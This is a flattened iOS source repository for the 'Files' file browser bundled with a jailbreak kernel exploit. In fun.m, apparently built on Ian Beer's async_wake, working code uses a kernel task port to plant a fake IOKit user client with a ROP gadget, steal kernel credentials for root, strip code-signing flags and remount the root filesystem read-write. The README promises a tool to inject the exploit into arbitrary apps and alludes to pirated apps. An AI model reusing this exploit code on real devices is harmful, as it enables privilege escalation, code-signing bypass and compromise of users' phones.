601 | #define PROC_PIDWORKQUEUEINFO_SIZE (sizeof(struct proc_workqueueinfo))
602 |
603 | /* Flavors for proc_pidfdinfo */
604 |
605 | #define PROC_PIDFDVNODEINFO 1
606 | #define PROC_PIDFDVNODEINFO_SIZE (sizeof(struct vnode_fdinfo))
607 |
608 | #define PROC_PIDFDVNODEPATHINFO 2
609 | #define PROC_PIDFDVNODEPATHINFO_SIZE (sizeof(struct vnode_fdinfowithpath))
610 |
611 | #define PROC_PIDFDSOCKETINFO 3
612 | #define PROC_PIDFDSOCKETINFO_SIZE (sizeof(struct socket_fdinfo))
613 |
614 | #define PROC_PIDFDPSEMINFO 4
615 | #define PROC_PIDFDPSEMINFO_SIZE (sizeof(struct psem_fdinfo))
616 |
617 | #define PROC_PIDFDPSHMINFO 5
618 | #define PROC_PIDFDPSHMINFO_SIZE (sizeof(struct pshm_fdinfo))
619 |
620 | #define PROC_PIDFDPIPEINFO 6
621 | #define PROC_PIDFDPIPEINFO_SIZE (sizeof(struct pipe_fdinfo))
622 |
623 | #define PROC_PIDFDKQUEUEINFO 7
624 | #define PROC_PIDFDKQUEUEINFO_SIZE (sizeof(struct kqueue_fdinfo))
625 |
626 | #define PROC_PIDFDATALKINFO 8
627 | #define PROC_PIDFDATALKINFO_SIZE (sizeof(struct appletalk_fdinfo))
628 |
629 | /* used for proc_setcontrol */
630 | #define PROC_SELFSET_PCONTROL 1
631 |
632 |
633 | __END_DECLS
634 |
635 | #endif /*_SYS_PROC_INFO_H */
636 |
--------------------------------------------------------------------------------
/Files/the_fun_part/fun.h:
--------------------------------------------------------------------------------
1 | //
2 | // fun.h
3 | // async_wake_ios
4 | //
5 | // Created by George on 14/12/17.
6 | // Copyright © 2017 Ian Beer. All rights reserved.
7 | //
8 |
9 | #ifndef fun_h
10 | #define fun_h
11 |
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #import
18 | #import
19 | #import
20 | #import
21 | #import
22 | #import
23 | #import
24 |
25 | #include
26 |
27 | #include
28 |
29 | #include
30 |
31 | #include "kmem.h"
32 | #include "find_port.h"
33 | #include "kutils.h"
34 | #include "symbols.h"
35 | #include "early_kalloc.h"
36 | #include "kcall.h"
37 | #include "kdbg.h"
38 | #include "patchfinder64.h"
39 |
40 | kern_return_t mach_vm_read(
41 | vm_map_t target_task,
42 | mach_vm_address_t address,
43 | mach_vm_size_t size,
44 | vm_offset_t *data,
45 | mach_msg_type_number_t *dataCnt);
46 |
47 | /****** IOKit/IOKitLib.h *****/
48 | typedef mach_port_t io_service_t;
49 | typedef mach_port_t io_connect_t;
50 |
51 | extern const mach_port_t kIOMasterPortDefault;
52 | #define IO_OBJECT_NULL (0)
53 |
54 | kern_return_t
55 | IOConnectCallAsyncMethod(
56 | mach_port_t connection,
57 | uint32_t selector,
58 | mach_port_t wakePort,
59 | uint64_t* reference,
60 | uint32_t referenceCnt,
61 | const uint64_t* input,
62 | uint32_t inputCnt,
63 | const void* inputStruct,
64 | size_t inputStructCnt,
65 | uint64_t* output,
66 | uint32_t* outputCnt,
67 | void* outputStruct,
68 | size_t* outputStructCntP);
69 |
70 | kern_return_t
71 | IOConnectCallMethod(
72 | mach_port_t connection,
73 | uint32_t selector,
74 | const uint64_t* input,
75 | uint32_t inputCnt,
76 | const void* inputStruct,
77 | size_t inputStructCnt,
78 | uint64_t* output,
79 | uint32_t* outputCnt,
80 | void* outputStruct,
81 | size_t* outputStructCntP);
82 |
83 | io_service_t
84 | IOServiceGetMatchingService(
85 | mach_port_t _masterPort,
86 | CFDictionaryRef matching);
87 |
88 | CFMutableDictionaryRef
89 | IOServiceMatching(
90 | const char* name);
91 |
92 | kern_return_t
93 | IOServiceOpen(
94 | io_service_t service,
95 | task_port_t owningTask,
96 | uint32_t type,
97 | io_connect_t* connect );
98 |
99 |
100 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client);
101 |
102 | #endif /* fun_h */
103 |
--------------------------------------------------------------------------------
/Files/the_fun_part/fun.m:
--------------------------------------------------------------------------------
1 | //
2 | // fun.c
3 | // async_wake_ios
4 | //
5 | // Created by George on 14/12/17.
6 | // Copyright © 2017 Ian Beer. All rights reserved.
7 | //
8 |
9 | #include "fun.h"
10 | #include
11 |
12 |
13 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid
14 | unsigned offsetof_task = 0x18; // proc_t::task
15 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred
16 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags
17 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port)
18 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port)
19 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port)
20 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send)
21 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send)
22 | unsigned offsetof_special = 2 * sizeof(long); // host::special
23 |
24 | #define CS_VALID 0x0000001 /* dynamically valid */
25 | #define CS_ADHOC 0x0000002 /* ad hoc signed */
26 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
27 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */
28 |
29 | #define CS_HARD 0x0000100 /* don't load invalid pages */
30 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */
31 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */
32 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
33 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */
34 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */
35 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000
36 |
37 | #define CS_ALLOWED_MACHO 0x00ffffe
38 |
39 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */
40 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */
41 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */
42 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */
43 |
44 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */
45 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */
46 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
47 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */
48 |
49 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
50 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
51 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
52 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
53 |
54 |
55 | mach_port_t tfpzero;
56 |
57 | int file_exist (char *filename)
58 | {
59 | struct stat buffer;
60 | return (stat (filename, &buffer) == 0);
61 | }
62 |
63 | size_t kread(uint64_t where, void *p, size_t size)
64 | {
65 | int rv;
66 | size_t offset = 0;
67 | while (offset < size) {
68 | mach_vm_size_t sz, chunk = 2048;
69 | if (chunk > size - offset) {
70 | chunk = size - offset;
71 | }
72 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
73 | if (rv || sz == 0) {
74 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
75 | break;
76 | }
77 | offset += sz;
78 | }
79 | return offset;
80 | }
81 |
82 | size_t
83 | kwrite(uint64_t where, const void *p, size_t size)
84 | {
85 | int rv;
86 | size_t offset = 0;
87 | while (offset < size) {
88 | size_t chunk = 2048;
89 | if (chunk > size - offset) {
90 | chunk = size - offset;
91 | }
92 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);
93 | if (rv) {
94 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
95 | break;
96 | }
97 | offset += chunk;
98 | }
99 | return offset;
100 | }
101 |
102 | static uint64_t
103 | kalloc(vm_size_t size)
104 | {
105 | mach_vm_address_t address = 0;
106 |
107 |
108 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
109 | return address;
110 | }
111 |
112 | //uint64_t hibit_guess = 0;
113 |
114 | void let_the_fun_begin(mach_port_t tfp0, mach_port_t user_client) {
115 | kern_return_t err;
116 |
117 | tfpzero = tfp0;
118 |
119 | init_kernel(find_kernel_base(), NULL);
120 |
121 | // Get the slide
122 | uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000;
123 | printf("slide: 0x%016llx\n", slide);
124 |
125 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
126 | uint64_t IOSurfaceRootUserClient_port = find_port_address(user_client, MACH_MSG_TYPE_MAKE_SEND);
127 | uint64_t IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
128 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr);
129 |
130 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
131 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
132 |
133 |
134 | // Create the vtable in the kernel memory, then copy the existing vtable into there
135 | uint64_t fake_vtable;
136 | err = vm_allocate((vm_map_t)tfp0, (vm_address_t *)&fake_vtable, 0x1000, VM_FLAGS_ANYWHERE);
137 |
138 | printf("Created fake_vtable at %016llx\n", fake_vtable);
139 |
140 | for (int i = 0; i < 0x200; i++) {
141 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
142 | }
143 |
144 | printf("Copied some of the vtable over\n");
145 |
146 |
147 | // Create the fake user client
148 | uint64_t fake_client;
149 | err = vm_allocate((vm_map_t)tfp0, (vm_address_t *)&fake_client, 0x1000, VM_FLAGS_ANYWHERE);
150 |
151 | printf("Created fake_client at %016llx\n", fake_client);
152 |
153 | for (int i = 0; i < 0x200; i++) {
154 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
155 | }
156 |
157 | printf("Copied the user client over\n");
158 |
159 |
160 | // Write our fake vtable into the fake user client
161 | wk64(fake_client, fake_vtable);
162 |
163 | // Replace the user client with ours
164 | wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
165 |
166 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
167 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
168 |
169 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex\n");
170 |
171 |
172 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
173 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
174 | // (i'm not actually sure if the switch back is necessary but meh
175 | #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
176 | do { \
177 | uint64_t offx20 = rk64(fake_client+0x40); \
178 | uint64_t offx28 = rk64(fake_client+0x48); \
179 | wk64(fake_client+0x40, x0); \
180 | wk64(fake_client+0x48, addr); \
181 | err = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); \
182 | wk64(fake_client+0x40, offx20); \
183 | wk64(fake_client+0x48, offx28); \
184 | } while (0);
185 |
186 | // Get our and the kernels struct proc from allproc
187 | uint32_t our_pid = getpid();
188 | uint64_t our_proc = 0;
189 | uint64_t kern_proc = 0;
190 | uint64_t springboard_proc = 0;
191 |
192 | uint64_t proc = rk64(find_allproc());
193 | while (proc) {
194 | uint32_t pid = (uint32_t)rk32(proc + 0x10);
195 | char name[40] = {0};
196 | kread(proc+0x268, name, 20);
197 | // printf("%s\n",name);
198 | if (pid == our_pid) {
199 | our_proc = proc;
200 | } else if (pid == 0) {
201 | kern_proc = proc;
202 | } else if (!strcmp("SpringBoard", name)) {
203 | springboard_proc = proc;
204 | }
205 | proc = rk64(proc);
206 | }
207 |
208 | printf("our proc is at 0x%016llx\n", our_proc);
209 | printf("kern proc is at 0x%016llx\n", kern_proc);
210 |
211 | // Give us some special flags
212 | uint32_t csflags = rk32(our_proc + offsetof_p_csflags);
213 | wk32(our_proc + offsetof_p_csflags, (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_KILL | CS_HARD));
214 |
215 | // Properly copy the kernel's credentials so setuid(0) doesn't crash
216 | uint64_t kern_ucred = 0;
217 | KCALL(find_copyout(), kern_proc+0x100, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
218 |
219 | uint64_t self_ucred = 0;
220 | KCALL(find_copyout(), our_proc+0x100, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);
221 |
222 | KCALL(find_bcopy(), kern_ucred + 0x78, self_ucred + 0x78, sizeof(uint64_t), 0, 0, 0, 0);
223 | KCALL(find_bzero(), self_ucred + 0x18, 12, 0, 0, 0, 0, 0);
224 |
225 | setuid(0);
226 |
227 | printf("our uid is %d\n", getuid());
228 |
229 | FILE *f = fopen("/var/mobile/test.txt", "w");
230 | if (f == 0) {
231 | printf("failed to write test file");
232 | } else {
233 | printf("wrote test file: %p\n", f);
234 | }
235 |
236 | // Remount / as rw - patch by xerub
237 | {
238 | vm_offset_t off = 0xd8;
239 | uint64_t _rootvnode = find_rootvnode();
240 | uint64_t rootfs_vnode = rk64(_rootvnode);
241 | uint64_t v_mount = rk64(rootfs_vnode + off);
242 | uint32_t v_flag = rk32(v_mount + 0x71);
243 |
244 | wk32(v_mount + 0x71, v_flag & ~(1 << 6));
245 |
246 | char *nmz = strdup("/dev/disk0s1s1");
247 | int rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz);
248 | printf("remounting: %d\n", rv);
249 |
250 | v_mount = rk64(rootfs_vnode + off);
251 | wk32(v_mount + 0x71, v_flag);
252 |
253 | int fd = open("/.bit_of_fun", O_RDONLY);
254 | if (fd == -1) {
255 | fd = creat("/.bit_of_fun", 0644);
256 | } else {
257 | printf("File already exists!\n");
258 | }
259 | close(fd);
260 |
261 |
262 | printf("Did we mount / as read+write? %s\n", file_exist("/.bit_of_fun") ? "yes" : "no");
263 |
264 | printf("first four values of amficache: %08x\n", rk32(find_amficache()));
265 | printf("trust cache at: %016llx\n", rk64(find_trustcache()));
266 |
267 |
268 |
269 | // Cleanup
270 |
271 | wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
272 | }
273 | }
274 |
--------------------------------------------------------------------------------
/Files/the_fun_part/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | int init_kernel(uint64_t base, const char *filename);
5 | void term_kernel(void);
6 |
7 | enum { SearchInCore, SearchInPrelink };
8 |
9 | uint64_t find_register_value(uint64_t where, int reg);
10 | uint64_t find_reference(uint64_t to, int n, int prelink);
11 | uint64_t find_strref(const char *string, int n, int prelink);
12 | uint64_t find_gPhysBase(void);
13 | uint64_t find_kernel_pmap(void);
14 | uint64_t find_amfiret(void);
15 | uint64_t find_ret_0(void);
16 | uint64_t find_amfi_memcmpstub(void);
17 | uint64_t find_sbops(void);
18 | uint64_t find_lwvm_mapio_patch(void);
19 | uint64_t find_lwvm_mapio_newj(void);
20 |
21 | uint64_t find_entry(void);
22 | const unsigned char *find_mh(void);
23 |
24 | uint64_t find_cpacr_write(void);
25 | uint64_t find_str(const char *string);
26 | uint64_t find_amfiops(void);
27 | uint64_t find_sysbootnonce(void);
28 | uint64_t find_symbol(const char *symbol);
29 |
30 | // Funnnn
31 | uint64_t find_allproc(void);
32 | uint64_t find_add_x0_x0_0x40_ret(void);
33 | uint64_t find_copyout(void);
34 | uint64_t find_bzero(void);
35 | uint64_t find_bcopy(void);
36 | uint64_t find_rootvnode(void);
37 | uint64_t find_trustcache(void); // TODO
38 | uint64_t find_amficache(void);
39 |
40 | #endif
41 |
--------------------------------------------------------------------------------
/FilesDocumentProvider/Base.lproj/MainInterface.storyboard:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/FilesDocumentProvider/DocumentPickerViewController.h:
--------------------------------------------------------------------------------
1 | //
2 | // DocumentPickerViewController.h
3 | // FilesDocumentProvider
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface DocumentPickerViewController : UIDocumentPickerExtensionViewController
12 |
13 | @end
14 |
--------------------------------------------------------------------------------
/FilesDocumentProvider/DocumentPickerViewController.m:
--------------------------------------------------------------------------------
1 | //
2 | // DocumentPickerViewController.m
3 | // FilesDocumentProvider
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "DocumentPickerViewController.h"
10 | #import "FBColumnViewController.h"
11 | #import "FBFilesTableViewController.h"
12 | #import "FBColumnNavigationController.h"
13 |
14 |
15 | @implementation DocumentPickerViewController
16 |
17 | -(void)prepareForPresentationInMode:(UIDocumentPickerMode)mode {
18 |
19 | FBFilesTableViewController *tc = [[FBFilesTableViewController alloc] initWithPath:@"/"];
20 | FBColumnNavigationController *cnc = [[FBColumnNavigationController alloc] initWithRootViewController:tc];
21 |
22 | FBColumnViewController *columnViewController = [[FBColumnViewController alloc] initWithRootViewController:cnc];
23 |
24 | tc.columnViewController = columnViewController;
25 |
26 | columnViewController.view.frame = CGRectMake(0, 44, self.view.bounds.size.width, self.view.bounds.size.height);
27 |
28 | [self.view addSubview:columnViewController.view];
29 |
30 | [[NSNotificationCenter defaultCenter] addObserverForName:@"FBPickedFileURL" object:nil queue:[NSOperationQueue mainQueue] usingBlock:^(NSNotification * _Nonnull note) {
31 |
32 | NSURL *url = note.object;
33 | NSURL *tempURL = [NSURL URLWithString:[[url absoluteString] lastPathComponent] relativeToURL:self.documentStorageURL];
34 |
35 | [url.absoluteString writeToURL:tempURL atomically:NO encoding:NSUTF8StringEncoding error:nil];
36 |
37 | [self dismissGrantingAccessToURL:tempURL];
38 | }];
39 | }
40 |
41 | @end
42 |
--------------------------------------------------------------------------------
/FilesDocumentProvider/FilesDocumentProvider.entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.security.application-groups
6 |
7 | group.com.highcaffeinecontent.Files
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/FilesDocumentProvider/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | en
7 | CFBundleDisplayName
8 | Files
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | XPC!
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleSignature
22 | ????
23 | CFBundleVersion
24 | 1
25 | NSExtension
26 |
27 | NSExtensionAttributes
28 |
29 | UIDocumentPickerModes
30 |
31 | UIDocumentPickerModeImport
32 | UIDocumentPickerModeOpen
33 |
34 | UIDocumentPickerSupportedFileTypes
35 |
36 | public.content
37 |
38 |
39 | NSExtensionMainStoryboard
40 | MainInterface
41 | NSExtensionPointIdentifier
42 | com.apple.fileprovider-ui
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/FilesDocumentProviderFileProvider/FileProvider.h:
--------------------------------------------------------------------------------
1 | //
2 | // FileProvider.h
3 | // FilesDocumentProviderFileProvider
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface FileProvider : NSFileProviderExtension
12 |
13 | @end
14 |
--------------------------------------------------------------------------------
/FilesDocumentProviderFileProvider/FileProvider.m:
--------------------------------------------------------------------------------
1 | //
2 | // FileProvider.m
3 | // FilesDocumentProviderFileProvider
4 | //
5 | // Created by Steven Troughton-Smith on 11/06/2016.
6 | // Copyright © 2016 High Caffeine Content. All rights reserved.
7 | //
8 |
9 | #import "FileProvider.h"
10 | #import
11 |
12 | @interface FileProvider ()
13 |
14 | @end
15 |
16 | @implementation FileProvider
17 |
18 | - (NSFileCoordinator *)fileCoordinator {
19 | NSFileCoordinator *fileCoordinator = [[NSFileCoordinator alloc] init];
20 | [fileCoordinator setPurposeIdentifier:[self providerIdentifier]];
21 | return fileCoordinator;
22 | }
23 |
24 | - (instancetype)init {
25 | self = [super init];
26 | if (self) {
27 | [self.fileCoordinator coordinateWritingItemAtURL:[self documentStorageURL] options:0 error:nil byAccessor:^(NSURL *newURL) {
28 | // ensure the documentStorageURL actually exists
29 | NSError *error = nil;
30 | [[NSFileManager defaultManager] createDirectoryAtURL:newURL withIntermediateDirectories:YES attributes:nil error:&error];
31 | }];
32 | }
33 | return self;
34 | }
35 |
36 | - (void)providePlaceholderAtURL:(NSURL *)url completionHandler:(void (^)(NSError *error))completionHandler {
37 | // Should call + writePlaceholderAtURL:withMetadata:error: with the placeholder URL, then call the completion handler with the error if applicable.
38 | NSString *fileName = [url lastPathComponent];
39 |
40 | NSURL *tempURL = [self.documentStorageURL URLByAppendingPathComponent:fileName];
41 | NSURL *redirectedURL = [NSURL URLWithString:[NSString stringWithContentsOfURL:tempURL encoding:NSUTF8StringEncoding error:nil]];
42 |
43 | NSURL *placeholderURL = [NSFileProviderExtension placeholderURLForURL:redirectedURL];
44 |
45 | NSDictionary *attribs = [[NSFileManager defaultManager] attributesOfItemAtPath:[[self.documentStorageURL URLByAppendingPathComponent:fileName] path] error:nil];
46 |
47 | unsigned long long fileSize = [attribs fileSize];
48 |
49 | NSDictionary* metadata = @{ NSURLFileSizeKey : @(fileSize)};
50 | [NSFileProviderExtension writePlaceholderAtURL:placeholderURL withMetadata:metadata error:NULL];
51 |
52 | if (completionHandler) {
53 | completionHandler(nil);
54 | }
55 | }
56 |
57 | - (void)startProvidingItemAtURL:(NSURL *)url completionHandler:(void (^)(NSError *))completionHandler {
58 | // Should ensure that the actual file is in the position returned by URLForItemWithIdentifier:, then call the completion handler
59 | NSError *fileError = nil;
60 |
61 | NSURL *redirectedURL = [NSURL URLWithString:[NSString stringWithContentsOfURL:url encoding:NSUTF8StringEncoding error:nil]];
62 | NSData *fileData = [NSData dataWithContentsOfURL:redirectedURL];
63 |
64 | [fileData writeToURL:url options:0 error:&fileError];
65 |
66 | if (completionHandler) {
67 | completionHandler(nil);
68 | }
69 | }
70 |
71 |
72 | - (void)itemChangedAtURL:(NSURL *)url {
73 | // Called at some point after the file has changed; the provider may then trigger an upload
74 |
75 | // TODO: mark file at as needing an update in the model; kick off update process
76 | NSLog(@"Item changed at URL %@", url);
77 | }
78 |
79 | - (void)stopProvidingItemAtURL:(NSURL *)url {
80 | // Called after the last claim to the file has been released. At this point, it is safe for the file provider to remove the content file.
81 | // Care should be taken that the corresponding placeholder file stays behind after the content file has been deleted.
82 |
83 | [[NSFileManager defaultManager] removeItemAtURL:url error:NULL];
84 | [self providePlaceholderAtURL:url completionHandler:^(NSError * __nullable error) {
85 | // TODO: handle any error, do any necessary cleanup
86 | }];
87 | }
88 |
89 | @end
90 |
--------------------------------------------------------------------------------
/FilesDocumentProviderFileProvider/FilesDocumentProviderFileProvider.entitlements:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | com.apple.security.application-groups
6 |
7 | group.com.highcaffeinecontent.Files
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/FilesDocumentProviderFileProvider/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | en
7 | CFBundleDisplayName
8 | FilesDocumentProviderFileProvider
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | XPC!
19 | CFBundleShortVersionString
20 | 1.0
21 | CFBundleSignature
22 | ????
23 | CFBundleVersion
24 | 1
25 | NSExtension
26 |
27 | NSExtensionFileProviderDocumentGroup
28 | group.com.highcaffeinecontent.Files
29 | NSExtensionPointIdentifier
30 | com.apple.fileprovider-nonui
31 | NSExtensionPrincipalClass
32 | FileProvider
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Files
2 | =============
3 |
4 | Next-generation file browser for iOS.
5 |
6 | * Multiple-column-UI on iPad
7 | * System-wide Document Provider - open files in other apps
8 | * Go to Folder
9 | * Sorting options
10 | * RW ACCESS OVER THE FILESYSTEM YAY
11 | * Option to edit exiting files (WARNING DO NOT CLICK SAVE WHEN OPENING BINARIES, THEY WILL GET ERASED (TODO)
12 | * Option to create new files
13 | * ~~IPA -> https://github.com/jakeajames/files-ios/releases/~~ IPA IS BROKEN, WILL FIX SOON. Also, I will release a working Filza ipa with rw but can't post it here, as it is copyrighted. If you want that check my twitter (@jakeashacks)
14 |
15 | UPDATE: From my findings looks like is Cydia Imapctor the one which doesn't support my ipa. You'll have to use the xcodeproj. ~~It only works in Xcode 8, apparently. I'll update the code so it uses UIAlertControllers.~~ FIXED XCODE 9. Also, you have to link IOKit.tbd (take it from yalu) in Build Phases -> Link Bundle With Libraries
16 |
17 | Coming soon:
18 |
19 | - Filza jailed (no link here, illegal)
20 | - iFile jailed (no link here, illegal)
21 | - An open-source tool to inject the exploit on almost any ipa and make it run with full root and rw privileges (LEGAL)
22 |
23 | Screenshots
24 | =============
25 |
26 | [](https://lh3.googleusercontent.com/-bPGPJDM78p0/V13sA3epxEI/AAAAAAAACNs/McPEkTL1mZY9pYrZxmZzsFibBwDoDz_ugCCo/s800/A1.jpg)
27 | [](https://lh3.googleusercontent.com/-rGNEWd7z0TI/V13sBJw41kI/AAAAAAAACN0/7pgt7BGXvLsgIuOg5R-mFFmf0sZutuRNwCCo/s800/A2.jpg)
28 |
29 | TODO
30 | =============
31 |
32 | * Fix new files not showing up instantly
33 | * Add option to remove files
34 | * Copy-pasting files
35 | * Prevent overwriting binaries
36 |
37 | CREDITS
38 | =============
39 |
40 | * Ian Beer (exploit)
41 | * theninjaprawn + Todesco + xerub (root rw)
42 | * steventroughtonsmith (file manager)
43 | * Jake James (small touches and made everything together)
44 |
--------------------------------------------------------------------------------